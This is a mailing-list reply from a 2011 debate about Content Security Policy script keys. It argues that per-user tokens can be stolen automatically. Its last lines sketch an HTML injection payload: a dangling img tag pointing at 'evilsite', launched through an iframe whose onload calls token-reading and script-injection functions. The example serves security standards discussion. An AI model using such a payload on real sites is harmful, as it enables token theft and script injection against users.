Re: [Content Security Policy] Proposal to move the debate forward

On 28 January 2011 10:48, Gervase Markham <gerv@mozilla.org> wrote:

> You have to a) inject a form, b) find a way for the form to include the
> data you need, and c) get it submitted.
>
> Without script, c) requires explicit user action.
>
> Then, after you have the session token, you have to match it up with the
> user you stole it from, and persuade them to again click on some sort of
> link you control which has an XSS vector with the new token embedded, so you
> can finally start executing malicious script in their page.
>
> [If the token is, in itself, valuable (e.g. it's a pure SessionID) then you
> could start to do impersonation. So I agree (thank you for helping me see
> this) it's not good to have them the same - it should be a hash of the
> sessionID.]
>
> But I still think all the above is hard enough that some sites will want to
> take the improved caching possibilities of having a script key which is not
> unique to each request, rather than the increase in security from having a
> new one every time. Security is trade-offs. Paypal may rotate their script
> keys for every request; a standard web framework may default to a a per-user
> approach.
>

You want a automatic attack? Ok. I'm really clueless as to why you don't get
this. I said there are many ways. <img src='//evilsite?token please=
Initiated by a <iframe src="//cspsite?injection=<img src='//evilsite?token
please=" onload="setTimeout(function(){ readKey();doJSInjection(); },
10000)"></iframe>